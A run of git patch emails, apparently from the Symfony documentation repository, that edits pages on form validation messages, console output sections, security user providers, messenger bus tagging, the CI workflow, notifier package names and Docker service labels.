Subject: [PATCH 0172/5766] [Form] Fixed the layout in the forms page by moving
 the configuration tabs outside the versionadded block.

---
 forms.rst | 65 ++++++++++++++++++++++++++++++-------------------------
 1 file changed, 35 insertions(+), 30 deletions(-)

diff --git a/forms.rst b/forms.rst
index f7acdd18fe2..832a11ca075 100644
--- a/forms.rst
+++ b/forms.rst
@@ -560,46 +560,51 @@ To see the second approach - adding constraints to the form - and to
 learn more about the validation constraints, please refer to the
 :doc:`Symfony validation documentation </validation>`.
 
+Form Validation Messages
+~~~~~~~~~~~~~~~~~~~~~~~~
+
 .. versionadded:: 5.2
 
-    In Symfony 5.2, the form validation messages have been rewritten to be more
-    user-friendly. Set the ``legacy_error_messages`` option to ``false`` to
-    enable these new messages:
+    The ``framework.form.legacy_error_messages`` option was introduced in Symfony 5.2
 
-    .. configuration-block::
+The form validation messages have been rewritten to be more user-friendly.
+To enable these new messages set the ``legacy_error_messages`` option in ``framework``,
+``form`` to ``false``:
+
+.. configuration-block::
 
-        .. code-block:: yaml
+    .. code-block:: yaml
 
-            # config/packages/framework.yaml
-            framework:
-                form:
-                    legacy_error_messages: false
+        # config/packages/framework.yaml
+        framework:
+            form:
+                legacy_error_messages: false
 
-        .. code-block:: xml
+    .. code-block:: xml
 
-            <!-- config/packages/framework.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:framework="http://symfony.com/schema/dic/symfony"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/symfony
-                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-                <framework:config>
-                    <framework:form legacy-error-messages="false"/>
-                </framework:config>
-            </container>
+            <framework:config>
+                <framework:form legacy-error-messages="false"/>
+            </framework:config>
+        </container>
 
-        .. code-block:: php
+    .. code-block:: php
 
-            // config/packages/framework.php
-            $container->loadFromExtension('framework', [
-                'form' => [
-                    'legacy-error-messages' => false,
-                ],
-            ]);
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'form' => [
+                'legacy_error_messages' => false,
+            ],
+        ]);
 
 Other Common Form Features
 --------------------------

From c4b9fc43192dbec06c0646b18b9afa529537f664 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 23:11:15 +0100
Subject: [PATCH 0173/5766] [#14589] Reworded form error messages paragraph

---
 forms.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/forms.rst b/forms.rst
index 832a11ca075..f6935d3d107 100644
--- a/forms.rst
+++ b/forms.rst
@@ -565,11 +565,11 @@ Form Validation Messages
 
 .. versionadded:: 5.2
 
-    The ``framework.form.legacy_error_messages`` option was introduced in Symfony 5.2
+    The ``legacy_error_messages`` option was introduced in Symfony 5.2
 
-The form validation messages have been rewritten to be more user-friendly.
-To enable these new messages set the ``legacy_error_messages`` option in ``framework``,
-``form`` to ``false``:
+The form types have default error messages that are more clear and
+user-friendly than the ones provided by the validation constraints. To enable
+these new messages set the ``legacy_error_messages`` option to ``false``:
 
 .. configuration-block::
 

From b6777219bd16a04857f4cf3570a852fca5def089 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 23:14:00 +0100
Subject: [PATCH 0174/5766] Fixed build

---
 reference/configuration/framework.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5d9459ce97d..fdc11499c4b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -927,6 +927,8 @@ enabled
 Whether to enable the support for retry failed HTTP request or not.
 This setting is automatically set to true when one of the child settings is configured.
 
+.. _http-headers:
+
 headers
 .......
 

From 5e21b791992e8534ac28c94df453fda0e0a6c621 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 21 Nov 2020 19:45:29 +0100
Subject: [PATCH 0175/5766] Added a new troubleshooting section in the
 maintainer guide

---
 _build/maintainer_guide.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 7eff3143941..f5913a8e811 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -335,6 +335,23 @@ in the tree as follows:
     $ git push origin
     $ git push upstream
 
+Merging in the wrong branch
+...........................
+
+A Pull Request was made against ``5.x`` but it should be merged in ``5.1`` and you
+forgot to merge as ``gh merge NNNNN -s 5.1`` to change the merge branch. Solution:
+
+.. code-block:: terminal
+
+    $ git checkout 5.1
+    $ git cherry-pick <SHA OF YOUR MERGE COMMIT> -m 1
+    $ git checkout 5.x
+    $ git revert <SHA OF YOUR MERGE COMMIT> -m 1
+    # now continue with the normal "upmerging"
+    $ git checkout 5.2
+    $ git merge 5.1
+    $ ...
+
 .. _`symfony/symfony-docs`: https://github.com/symfony/symfony-docs
 .. _`Symfony Docs team`: https://github.com/orgs/symfony/teams/team-symfony-docs
 .. _`Symfony's respectful review comments`: https://symfony.com/doc/current/contributing/community/review-comments.html

From 444072509418d6e63acee31efbc18477eb8e5d2b Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Sun, 15 Nov 2020 22:18:17 +0100
Subject: [PATCH 0176/5766] Section method only in ConsoleOutputInterface

---
 console.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/console.rst b/console.rst
index ad9bb8c16e6..f49296cd47f 100644
--- a/console.rst
+++ b/console.rst
@@ -181,8 +181,18 @@ which returns an instance of
     {
         protected function execute(InputInterface $input, OutputInterface $output)
         {
+            // The section() method is only available in classes that implement ConsoleOutputInterface
+            if (!$output instanceof ConsoleOutputInterface) {
+                throw new LogicException(sprintf(
+                    'This command accepts only an instance of "%s", an instance of "%s" is given',
+                    ConsoleOutputInterface::class,
+                    \get_class($output)
+                ));
+            }
+
             $section1 = $output->section();
             $section2 = $output->section();
+
             $section1->writeln('Hello');
             $section2->writeln('World!');
             // Output displays "Hello\nWorld!\n"

From 73f02f17d5e0ea2044e83f393dddd48f4d5a6711 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 22 Nov 2020 12:51:16 +0100
Subject: [PATCH 0177/5766] [#14550] Reduce nr of lines used for exception

---
 console.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/console.rst b/console.rst
index f49296cd47f..f14765ce624 100644
--- a/console.rst
+++ b/console.rst
@@ -173,21 +173,19 @@ called "output sections". Create one or more of these sections when you need to
 clear and overwrite the output information.
 
 Sections are created with the
-:method:`Symfony\\Component\\Console\\Output\\ConsoleOutput::section` method,
-which returns an instance of
+:method:`ConsoleOutput::section() <Symfony\\Component\\Console\\Output\\ConsoleOutput::section>`
+method, which returns an instance of
 :class:`Symfony\\Component\\Console\\Output\\ConsoleSectionOutput`::
 
+    // ...
+    use Symfony\Component\Console\Output\ConsoleOutputInterface;
+
     class MyCommand extends Command
     {
         protected function execute(InputInterface $input, OutputInterface $output)
         {
-            // The section() method is only available in classes that implement ConsoleOutputInterface
             if (!$output instanceof ConsoleOutputInterface) {
-                throw new LogicException(sprintf(
-                    'This command accepts only an instance of "%s", an instance of "%s" is given',
-                    ConsoleOutputInterface::class,
-                    \get_class($output)
-                ));
+                throw new \LogicException('This command accepts only an instance of "ConsoleOutputInterface".');
             }
 
             $section1 = $output->section();

From 62c7f2b6ba2ff1a229dc62c3b8b831cdb2378dd9 Mon Sep 17 00:00:00 2001
From: Martin Hujer <mail@martinhujer.cz>
Date: Thu, 21 Nov 2019 22:17:29 +0100
Subject: [PATCH 0178/5766] Security: add example code which Maker Bundle
 generated

See #11265
---
 security.rst | 54 +++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 53 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index ebeca1b9b5b..070c18b687c 100644
--- a/security.rst
+++ b/security.rst
@@ -96,7 +96,59 @@ optional features, like :doc:`remember me </security/remember_me>` and
 :doc:`impersonation </security/impersonating_user>`.
 
 Fortunately, the ``make:user`` command already configured one for you in your
-``security.yaml`` file under the ``providers`` key.
+``security.yaml`` file under the ``providers`` key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            providers:
+                # used to reload user from session & other features (e.g. switch_user)
+                app_user_provider:
+                    entity:
+                        class: App\Entity\User
+                        property: email
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <!-- used to reload user from session & other features (e.g. switch-user) -->
+                <provider name="app_user_provider">
+                    <entity class="App\Entity\User" property="email"/>
+                </provider>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+
+        $container->loadFromExtension('security', [
+            // ...
+
+            'providers' => [
+                // used to reload user from session & other features (e.g. switch_user)
+                'app_user_provider' => [
+                    'entity' => [
+                        'class' => User::class,
+                        'property' => 'email',
+                    ],
+                ],
+            ],
+        ]);
 
 If your ``User`` class is an entity, you don't need to do anything else. But if
 your class is *not* an entity, then ``make:user`` will also have generated a

From d291a99ee339d3b4b0fb33c825f2a76b6ce867be Mon Sep 17 00:00:00 2001
From: CvekCoding <36374606+CvekCoding@users.noreply.github.com>
Date: Mon, 24 Feb 2020 21:16:59 +0300
Subject: [PATCH 0179/5766] Bus restricting with Interfaces

Proposed more flexible way to restrict handlers with buses - use interfaces for this.
---
 messenger/multiple_buses.rst | 79 +++++++++++++++++++++---------------
 service_container/tags.rst   |  2 +
 2 files changed, 48 insertions(+), 33 deletions(-)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 5136553dac2..c79aeb7b2b7 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -150,30 +150,30 @@ you can restrict each handler to a specific bus using the ``messenger.message_ha
 This way, the ``App\MessageHandler\SomeCommandHandler`` handler will only be
 known by the ``command.bus`` bus.
 
-You can also automatically add this tag to a number of classes by following
-a naming convention and registering all of the handler services by name with
-the correct tag:
+You can also automatically add this tag to a number of classes by using
+the :ref:`_instanceof service configuration <di-instanceof>`. Using this,
+you can determine the message bus based on an implemented interface:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/services.yaml
+        services:
+            # ...
+
+            _instanceof:
+                # all services implementing the CommandHandlerInterface
+                # will be registered on the command.bus bus
+                App\MessageHandler\CommandHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: command.bus }
 
-        # put this after the "App\" line that registers all your services
-        command_handlers:
-            namespace: App\MessageHandler\
-            resource: '%kernel.project_dir%/src/MessageHandler/*CommandHandler.php'
-            autoconfigure: false
-            tags:
-                - { name: messenger.message_handler, bus: command.bus }
-
-        query_handlers:
-            namespace: App\MessageHandler\
-            resource: '%kernel.project_dir%/src/MessageHandler/*QueryHandler.php'
-            autoconfigure: false
-            tags:
-                - { name: messenger.message_handler, bus: query.bus }
+                # while those implementing QueryHandlerInterface will be
+                # registered on the query.bus bus
+                App\MessageHandler\QueryHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: query.bus }
 
     .. code-block:: xml
 
@@ -185,32 +185,45 @@ the correct tag:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <!-- command handlers -->
-                <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*CommandHandler.php" autoconfigure="false">
+                <!-- ... -->
+
+                <!-- all services implementing the CommandHandlerInterface
+                     will be registered on the command.bus bus -->
+                <instanceof id="App\MessageHandler\CommandHandlerInterface">
                     <tag name="messenger.message_handler" bus="command.bus"/>
-                </prototype>
-                <!-- query handlers -->
-                <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*QueryHandler.php" autoconfigure="false">
+                </instanceof>
+
+                <!-- while those implementing QueryHandlerInterface will be
+                     registered on the query.bus bus -->
+                <instanceof id="App\MessageHandler\QueryHandlerInterface">
                     <tag name="messenger.message_handler" bus="query.bus"/>
-                </prototype>
+                </instanceof>
             </services>
         </container>
 
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        // Command handlers
-        $container->services()
-            ->load('App\MessageHandler\\', '%kernel.project_dir%/src/MessageHandler/*CommandHandler.php')
-            ->autoconfigure(false)
-            ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+        use App\MessageHandler\CommandHandlerInterface;
+        use App\MessageHandler\QueryHandlerInterface;
 
-        // Query handlers
-        $container->services()
-            ->load('App\MessageHandler\\', '%kernel.project_dir%/src/MessageHandler/*QueryHandler.php')
-            ->autoconfigure(false)
-            ->tag('messenger.message_handler', ['bus' => 'query.bus']);
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            // ...
+
+            // all services implementing the CommandHandlerInterface
+            // will be registered on the command.bus bus
+            $services->instanceof(CommandHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+
+            // while those implementing QueryHandlerInterface will be
+            // registered on the query.bus bus
+            $services->instanceof(QueryHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'query.bus']);
+        };
 
 Debugging the Buses
 -------------------
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8bddd65c795..2f60f369b97 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -60,6 +60,8 @@ and many tags require additional arguments (beyond the ``name`` parameter).
 **For most users, this is all you need to know**. If you want to go further and
 learn how to create your own custom tags, keep reading.
 
+.. _di-instanceof:
+
 Autoconfiguring Tags
 --------------------
 

From e059c5b1cff73ed25b0a0cba22402001b11b0959 Mon Sep 17 00:00:00 2001
From: Ben Davies <ben.davies@gmail.com>
Date: Mon, 10 Feb 2020 13:11:49 +0000
Subject: [PATCH 0180/5766] GitHub Actions: use docker container for CI build

---
 .github/workflows/ci.yaml | 22 +++++++---------------
 1 file changed, 7 insertions(+), 15 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 881b171ce10..8dbda8b72d8 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -14,30 +14,22 @@ jobs:
 
         runs-on: ubuntu-latest
 
+        container: python:3.7-alpine
+
         steps:
             -   name: "Checkout"
                 uses: actions/checkout@v2
 
-            -   name: "Set up Python 3.7"
-                uses: actions/setup-python@v1
-                with:
-                    python-version: '3.7' # Semantic version range syntax or exact version of a Python version
-
             -   name: "Display Python version"
                 run: python -c "import sys; print(sys.version)"
 
-            -   name: "Install Sphinx dependencies"
-                run: sudo apt-get install python-dev build-essential
+            -   name: "Install Sphinx"
+                run: pip install --user sphinx
 
-            -   name: "Cache pip"
-                uses: actions/cache@v2
-                with:
-                    path: ~/.cache/pip
-                    key: ${{ runner.os }}-pip-${{ hashFiles('_build/.requirements.txt') }}
-                    restore-keys: |
-                        ${{ runner.os }}-pip-
+            -   name: "Install dependencies"
+                run: apk add --no-cache git make
 
-            -   name: "Install Sphinx + requirements via pip"
+            -   name: "Install custom requirements via pip"
                 run: pip install -r _build/.requirements.txt
 
             -   name: "Build documentation"

From 935fa86e7b21988dd8bfc17ad9afc6d0605cdfff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 23 Nov 2020 08:57:58 +0100
Subject: [PATCH 0181/5766] Enhancement: Streamline workflow

---
 .github/workflows/ci.yaml | 72 +++++++++++++++++++--------------------
 1 file changed, 36 insertions(+), 36 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 8dbda8b72d8..f6cc2cff17d 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -1,3 +1,5 @@
+name: CI
+
 on:
     push:
         branches-ignore:
@@ -6,11 +8,9 @@ on:
         branches-ignore:
             - 'github-comments'
 
-name: CI
-
 jobs:
-    build:
-        name: Build
+    sphinx-build:
+        name: Build (Sphinx)
 
         runs-on: ubuntu-latest
 
@@ -35,46 +35,46 @@ jobs:
             -   name: "Build documentation"
                 run: make -C _build SPHINXOPTS="-nqW -j auto" html
 
-    build-php:
-        name: Symfony doc builder
+    symfony-docs-builder-build:
+        name: Build (symfony/docs-builder)
 
         runs-on: ubuntu-latest
 
         continue-on-error: true
 
         steps:
-            - name: "Checkout"
-              uses: actions/checkout@v2
-
-            - name: "Set-up PHP"
-              uses: shivammathur/setup-php@v2
-              with:
-                  php-version: 7.2
-                  coverage: none
-                  tools: "composer:v2"
-
-            - name: Get composer cache directory
-              id: composercache
-              working-directory: _build
-              run: echo "::set-output name=dir::$(composer config cache-files-dir)"
-
-            - name: Cache dependencies
-              uses: actions/cache@v2
-              with:
-                  path: ${{ steps.composercache.outputs.dir }}
-                  key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
-                  restore-keys: ${{ runner.os }}-composer-
-
-            - name: "Install dependencies"
-              working-directory: _build
-              run: composer install --prefer-dist --no-progress
-
-            - name: "Build the docs"
-              working-directory: _build
-              run: php build.php -vvv
+            -   name: "Checkout"
+                uses: actions/checkout@v2
+
+            -   name: "Set-up PHP"
+                uses: shivammathur/setup-php@v2
+                with:
+                    php-version: 7.2
+                    coverage: none
+                    tools: "composer:v2"
+
+            -   name: Get composer cache directory
+                id: composercache
+                working-directory: _build
+                run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+            -   name: Cache dependencies
+                uses: actions/cache@v2
+                with:
+                    path: ${{ steps.composercache.outputs.dir }}
+                    key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
+                    restore-keys: ${{ runner.os }}-composer-
+
+            -   name: "Install dependencies"
+                working-directory: _build
+                run: composer install --prefer-dist --no-progress
+
+            -   name: "Build the docs"
+                working-directory: _build
+                run: php build.php -vvv
 
     doctor-rst:
-        name: DOCtor-RST
+        name: Lint (DOCtor-RST)
 
         runs-on: ubuntu-latest
 

From 17f9fbf0481b68cb8c87011fbb3c3aa5b08fd464 Mon Sep 17 00:00:00 2001
From: concilioinvest <eric@pohold.com>
Date: Mon, 23 Nov 2020 22:22:25 +0100
Subject: [PATCH 0182/5766] Update event_dispatcher.rst

It must be the `tag` method.
---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 3462659efb5..2b95a637e28 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -109,7 +109,7 @@ using a special "tag":
         use App\EventListener\ExceptionListener;
 
         $container->register(ExceptionListener::class)
-            ->addTag('kernel.event_listener', ['event' => 'kernel.exception'])
+            ->tag('kernel.event_listener', ['event' => 'kernel.exception'])
         ;
 
 Symfony follows this logic to decide which method to call inside the event

From 07230432e2a85a77ca575abb771e597b06b1ad28 Mon Sep 17 00:00:00 2001
From: Matthieu DANET <m.danet@themkompany.fr>
Date: Tue, 24 Nov 2020 10:35:10 +0100
Subject: [PATCH 0183/5766] Fix wrong key name

---
 reference/forms/types/options/choice_attr.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index b26f2099023..5a0add4f195 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -49,7 +49,7 @@ If an array, the keys of the ``choices`` array must be used as keys::
 
         // ...
         $builder->add('choices', ChoiceType::class, [
-            'choice_label' => ChoiceList::attr($this, function (?Category $category) {
+            'choice_attr' => ChoiceList::attr($this, function (?Category $category) {
                 return $category ? ['data-uuid' => $category->getUuid()] : [];
             }),
         ]);

From 322ce95fbfbcebbac88f06572518326ece0249a2 Mon Sep 17 00:00:00 2001
From: Fabien Salathe <fabacrans@gmail.com>
Date: Tue, 24 Nov 2020 11:58:07 +0100
Subject: [PATCH 0184/5766] Remove wrong "method" tag

Method tag is not needed when the processor is invokable, here it would call `processRecord` which doesn't exist
---
 logging/processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 9f46326ddaa..5f1e27834b5 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -103,7 +103,7 @@ information:
 
         $container
             ->register(SessionRequestProcessor::class)
-            ->addTag('monolog.processor', ['method' => 'processRecord']);
+            ->addTag('monolog.processor');
 
 Finally, set the formatter to be used on whatever handler you want:
 

From 691ed5fb2d94c775f08b7feece3833d1ba4f0dd7 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Tue, 24 Nov 2020 17:08:33 +0100
Subject: [PATCH 0185/5766] Update event_dispatcher.rst

---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 0344acf4e8e..ef0392e6dfc 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -313,7 +313,7 @@ order. Start by creating this custom event class and documenting it::
             $this->order = $order;
         }
 
-        public function getOrder()
+        public function getOrder(): Order
         {
             return $this->order;
         }

From 67eb42f6599876ae05c8b17cc7c25792350de662 Mon Sep 17 00:00:00 2001
From: Pierre du Plessis <pierre@pcservice.co.za>
Date: Tue, 24 Nov 2020 21:11:35 +0200
Subject: [PATCH 0186/5766] Fix package name for OvhCloud notifier

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 9737df6395e..573ad0d942c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,7 +59,7 @@ Service     Package                           DSN
 ==========  ================================  ====================================================
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
-OvhCloud    ``symfony/ovhcloud-notifier``     ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
 ==========  ================================  ====================================================

From 1aabce3c0d09b63ca8a6fb8c73dda47ce0a47ac9 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 21 Nov 2020 11:56:23 +0100
Subject: [PATCH 0187/5766] Add a note about exposing env vars for unrecognized
 Docker services

---
 setup/symfony_server.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 0f4d88904d6..bd3a6718664 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -299,6 +299,9 @@ project. It understands that this is a MySQL service and creates environment
 variables accordingly with the service name (``database``) as a prefix:
 ``DATABASE_URL``, ``DATABASE_HOST``, ...
 
+If the service is not in the supported list below, generic environment
+variables are set: ``PORT``, ``IP``, and ``HOST``.
+
 If the ``docker-compose.yaml`` names do not match Symfony's conventions, add a
 label to override the environment variables prefix:
 
@@ -361,6 +364,20 @@ When Docker services are running, browse a page of your Symfony application and
 check the "Symfony Server" section in the web debug toolbar; you'll see that
 "Docker Compose" is "Up".
 
+.. note::
+
+    If you don't want environment variables to be exposed for a service, set
+    the ``com.symfony.server.service-ignore`` label to ``true``:
+
+    .. code-block:: yaml
+
+        # docker-compose.yaml
+        services:
+            db:
+                ports: [3306]
+                labels:
+                    com.symfony.server.service-ignore: true
+
 If your Docker Compose file is not at the root of the project, use the
 ``COMPOSE_FILE`` and ``COMPOSE_PROJECT_NAME`` environment variables to define
 its location, same as for ``docker-compose``:

From a18ef8d7c1aef993f69e76bca3423d245bbc932f Mon Sep 17 00:00:00 2001
From: postal <siedler1@freenet.de>
Date: Wed, 25 Nov 2020 11:52:14 +0100
Subject: [PATCH 0188/5766] A method call is reversed

The order of the methods is reversed. The method "advance()" must be called after the "setMessage()".
---
 components/console/helpers/progressbar.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 1aa4dbfc6e2..c8ef2f25a1f 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -362,8 +362,8 @@ placeholder before displaying the progress bar::
     $progressBar->start();
     // 0/100 -- Start
 
-    $progressBar->advance();
     $progressBar->setMessage('Task is in progress...');
+    $progressBar->advance();    
     // 1/100 -- Task is in progress...
 
 Messages can be combined with custom placeholders too. In this example, the

From be63d709faaef0afde617d18a000b2b1b9fe7023 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 25 Nov 2020 15:59:25 +0100
Subject: [PATCH 0189/5766] Enhancement: Add /me to the CODEOWNERS file for
 GithubActions workflows

---
 .github/CODEOWNERS | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
index 51ce53a1a89..9eb5d91783b 100644
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -1,3 +1,6 @@
+# GithubActions workflows
+/.github/workflows* @OskarStark
+
 # Console
 /console* @chalasr
 /components/console* @chalasr

From 6b4bee4d17742e7c606f42685c7400531fca0110 Mon Sep 17 00:00:00 2001
From: Steven DUBOIS <symfony@duboiss.fr>
Date: Wed, 25 Nov 2020 16:41:57 +0100
Subject: [PATCH 0190/5766] Update events.rst

---
 doctrine/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 309d10a7e12..c98be25d736 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -16,7 +16,7 @@ on other common tasks (e.g. ``loadClassMetadata``, ``onClear``).
 
 There are different ways to listen to these Doctrine events:
 
-* **Lifecycle callbacks**, they are defined as methods on the entity classes and
+* **Lifecycle callbacks**, they are defined as public methods on the entity classes and
   they are called when the events are triggered;
 * **Lifecycle listeners and subscribers**, they are classes with callback
   methods for one or more events and they are called for all entities;
@@ -46,7 +46,7 @@ to learn everything about them.
 Doctrine Lifecycle Callbacks
 ----------------------------
 
-Lifecycle callbacks are defined as methods inside the entity you want to modify.
+Lifecycle callbacks are defined as public methods inside the entity you want to modify.
 For example, suppose you want to set a ``createdAt`` date column to the current
 date, but only when the entity is first persisted (i.e. inserted). To do so,
 define a callback for the ``prePersist`` Doctrine event:

From def35a7da9d49d627906d69aac68e0d597ceba4a Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Mon, 23 Nov 2020 15:29:56 +0100
Subject: [PATCH 0191/5766] [Notifier] Add better example for Slack DSN

---
 notifier.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 9737df6395e..cad35611ec0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -149,6 +149,8 @@ Chatters are configured using the ``chatter_transports`` setting:
 
     # .env
     SLACK_DSN=slack://default/ID
+    # If your slack webhook looks like "https://hooks.slack.com/services/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX" then use:
+    SLACK_DSN=slack://default/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX
 
 .. configuration-block::
 

From deec89a9352a62842553264327619c1ce32c3ab8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Malte=20Schlu=CC=88ter?= <malte.schlueter@sensiolabs.de>
Date: Thu, 26 Nov 2020 00:20:46 +0100
Subject: [PATCH 0192/5766] Delete duplicated words

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 2f60f369b97..db648334625 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -788,7 +788,7 @@ indexed by the ``key`` attribute:
 
 After compilation the ``HandlerCollection`` is able to iterate over your
 application handlers. To retrieve a specific service by it's ``key`` attribute
-from the iterator, we can use ``iterator_to_array`` and retrieve the ``handler_two``:
+from the iterator, we can use ``iterator_to_array``
 to get an array and then retrieve the ``handler_two`` handler::
 
